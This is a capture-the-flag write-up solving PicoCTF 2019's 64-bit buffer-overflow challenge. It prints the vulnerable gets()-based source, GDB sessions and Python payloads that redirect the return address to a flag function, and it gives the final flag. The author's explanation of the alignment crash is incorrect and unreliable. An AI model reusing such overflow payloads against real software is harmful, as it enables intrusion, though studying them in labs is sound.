PicoCTF19 NewOverFlow 1

Challenge

Lets try moving to 64-bit, but don't worry we'll start easy. Overflow the buffer and change the return address to the flag function in this program. You can find it in /problems/newoverflow-1 on the shell server. Source.

Hints

Now that we're in 64-bit, what used to be 4 bytes, now may be 8 bytes

Solution

Let's take a look at the directory and copy the executable over to my home directory so I can debug it with GDB without any restrictions.

[email protected]:/problems/newoverflow-1$ ls -al
total 96
drwxr-xr-x   2 root       root             4096 Sep 28 21:47 .
drwxr-x--x 684 root       root            69632 Oct 10 18:02 ..
-r--r-----   1 hacksports newoverflow-1_5    50 Sep 28 21:47 flag.txt
-rwxr-sr-x   1 hacksports newoverflow-1_5  8728 Sep 28 21:47 vuln
-rw-rw-r--   1 hacksports hacksports        628 Sep 28 21:47 vuln.c
[email protected]:/problems/newoverflow-1$ cat vuln.c 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
  vuln();
  return 0;
}

[email protected]:/problems/newoverflow-1$ cp vuln ~ && pushd . && cd ~
[email protected]:~$ nano flag.txt
[email protected]:~$ cat flag.txt 
SAMCTF{NOT_THE_ACTUAL_FLAG}

It seems like PicoCTF19 Overflow 1, but it doesn't print the last address it will try to access which in the case of the function vuln() will be a return address to main().

Welcome to 64-bit. Give me a string that gets you the flag: 
A
[email protected]:~$ echo $(python -c "print 'A'*68") | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag: 
Segmentation fault (core dumped)

Okay, no help here. So let's crash it with gdb.

[email protected]:~$ gdb ./vuln 
... <redacted>
Reading symbols from ./vuln...(no debugging symbols found)...done.
(gdb) x flag
0x400767 <flag>:        0xe5894855
(gdb) r < <(python -c 'print("A"*64+"B"*4+"C"*4+"D"*4+"E"*4)')
Starting program: /home/samson/vuln < <(python -c 'print("A"*64+"B"*4+"C"*4+"D"*4+"E"*4)')
Welcome to 64-bit. Give me a string that gets you the flag: 

Program received signal SIGSEGV, Segmentation fault.
0x00000000004007e7 in vuln ()
(gdb) x/g $sp
0x7fffffffe468: 0x4545454544444444

So it seems like we need to overwrite the 'C''s and 'D''s with the flag function address 0x400767.

(gdb)  r < <(python -c "print('A'*72+'\x67\x07\x40'+'\x00'*5)")
Starting program: /home/samson/vuln < <(python -c "print('A'*72+'\x67\x07\x40'+'\x00'*5)")
Welcome to 64-bit. Give me a string that gets you the flag: 

Program received signal SIGSEGV, Segmentation fault.
buffered_vfprintf ([email protected]=0x7ffff7dd0760 <_IO_2_1_stdout_>, [email protected]=0x7fffffffe418 "SAMCTF{NOT_THE_ACTUAL_FLAG}\n", [email protected]=0x7fffffffe338) at vfprintf.c:2314
2314    vfprintf.c: No such file or directory.

Interesting. An error in GDB. What's the program counter register at?

(gdb) x/i $pc
=> 0x7ffff7a4266e <buffered_vfprintf+158>:      movaps %xmm0,0x50(%rsp)

What's that movaps instruction? I've literally never seen that before? I'll spare you the search results but basically this error is due to the program causing the kernel to jump to the address 0x400767 which is not a valid jump address in x64. Otherwise known as a alignment violation. In order to jump properly, I need to jump to an address which is a multiple of 16.

(gdb) disas flag
Dump of assembler code for function flag:
   0x0000000000400767 <+0>:     push   %rbp
   0x0000000000400768 <+1>:     mov    %rsp,%rbp
   0x000000000040076b <+4>:     sub    $0x50,%rsp
   0x000000000040076f <+8>:     lea    0x172(%rip),%rsi        # 0x4008e8
   0x0000000000400776 <+15>:    lea    0x16d(%rip),%rdi        # 0x4008ea
   0x000000000040077d <+22>:    callq  0x400660 <[email protected]>
   0x0000000000400782 <+27>:    mov    %rax,-0x8(%rbp)
   0x0000000000400786 <+31>:    cmpq   $0x0,-0x8(%rbp)
   0x000000000040078b <+36>:    jne    0x4007a3 <flag+60>
   0x000000000040078d <+38>:    lea    0x164(%rip),%rdi        # 0x4008f8
   0x0000000000400794 <+45>:    callq  0x4005f0 <[email protected]>
   0x0000000000400799 <+50>:    mov    $0x0,%edi
   0x000000000040079e <+55>:    callq  0x400670 <[email protected]>
   0x00000000004007a3 <+60>:    mov    -0x8(%rbp),%rdx
   0x00000000004007a7 <+64>:    lea    -0x50(%rbp),%rax
   0x00000000004007ab <+68>:    mov    $0x40,%esi
   0x00000000004007b0 <+73>:    mov    %rax,%rdi
   0x00000000004007b3 <+76>:    callq  0x400620 <[email protected]>
   0x00000000004007b8 <+81>:    lea    -0x50(%rbp),%rax
   0x00000000004007bc <+85>:    mov    %rax,%rdi
   0x00000000004007bf <+88>:    mov    $0x0,%eax
   0x00000000004007c4 <+93>:    callq  0x400610 <[email protected]>
   0x00000000004007c9 <+98>:    nop
   0x00000000004007ca <+99>:    leaveq 
   0x00000000004007cb <+100>:   retq   
End of assembler dump.

Well it looks like the first instruction is most likely just pushing the return address on the stack so the program can return to the main() function after completing flag. The next instruction seems like it is probably related to the flag() function and is a multiple of 16 in hex. So let's try jumping to that address instead.

[email protected]:~$ python -c "print('A'*72+'\x68\x07\x40'+'\x00'*5)" | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag: 
SAMCTF{NOT_THE_ACTUAL_FLAG}
Segmentation fault (core dumped)
[email protected]:~$ popd && python -c "print('A'*72+'\x68\x07\x40'+'\x00'*5)" | ./vuln
/problems/newoverflow-1 /problems/newoverflow-1
Welcome to 64-bit. Give me a string that gets you the flag: 
picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_351346a2}
Segmentation fault (core dumped)

Flag

picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_351346a2}